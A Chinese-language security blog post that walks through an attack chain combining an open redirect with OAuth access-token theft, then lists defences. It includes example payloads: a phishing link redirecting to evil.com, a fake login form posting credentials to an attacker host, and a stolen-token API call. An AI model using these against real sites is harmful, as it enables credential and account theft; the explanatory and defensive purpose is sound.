一次 OAuth 登录背后的隐患:被忽略的 URL 跳转漏洞

一次 OAuth 登录背后的隐患:被忽略的 URL 跳转漏洞

原创 火力猫 季升安全 2025-04-16 09:12

🎣 URL跳转 + OAuth Token 劫持攻击链详解

⚙️ 场景示例:

  • 目标站点:https://login.example.com
    (支持 OAuth 授权)

  • 合作跳转域:https://partner.example.com/login?next=…
    (存在 URL 跳转漏洞)

  • 攻击者控制站:https://evil.com
    (钓鱼 + 收集令牌)

🧩 步骤详解

🧱 第 1 步:发现可利用跳转点

攻击者发现:

https://partner.example.com/login?next=https://evil.com/oauth-grabber

服务器未验证 next
 参数是否为内部地址,导致任意跳转漏洞(Open Redirect)

🎣 第 2 步:构造诱导链接并钓鱼

攻击者在社工邮件中嵌入链接:

点击重置密码:https://partner.example.com/login?next=https://evil.com/oauth-grabber

用户以为自己在访问可信“example.com”登录页面,其实会被跳转到攻击者页面。

🕸 第 3 步:跳转并伪造 OAuth 授权页面

https://evil.com/oauth-grabber
 页面伪装成 Legit OAuth 登录页:

<form action="https://evil.com/gettoken" method="POST">  <input name="username" placeholder="用户名">  <input name="password" type="password" placeholder="密码">  <button>登录</button></form>

或者伪造一个授权确认框,诱导用户点击“授权”。

🧪 第 4 步:用户提交认证,攻击者收集 Token

用户点击“登录”或“授权”后:
– 页面调用后端从 example.com
 发起真实的 OAuth 请求;

  • 捕获 access_token
    ,回传给攻击者服务。

例如 token 被记录在日志中:

[+] Received OAuth token: abc1234xyz

🛠 第 5 步:攻击者利用 Token 操作用户账号

拿到 access_token
 后,攻击者请求 API:

GET /api/accountAuthorization: Bearer abc1234xyz

实现:
– 伪装身份进入用户账号

  • 下载个人资料、订单、甚至发起转账操作

🔥 攻击链总结

[攻击者发送钓鱼链接]      ↓https://partner.example.com/login?next=https://evil.com      ↓(Open Redirect)[用户被重定向到伪造登录页]      ↓[输入凭证或点击“授权”]      ↓[攻击者服务器获取 access_token]      ↓[使用 token 冒充用户调用真实接口]

🧯 防御措施

风险点
防护措施
URL 跳转
✅ 添加域名/路径白名单验证
OAuth 回调地址验证
✅ 严格绑定 redirect_uri,不能模糊匹配
用户授权提示
✅ 明确显示将跳转到哪个第三方
前端伪装钓鱼页面
✅ 浏览器 CSP / Referrer Policy
Token 使用时长 & 范围
✅ 限定 token 生命周期与权限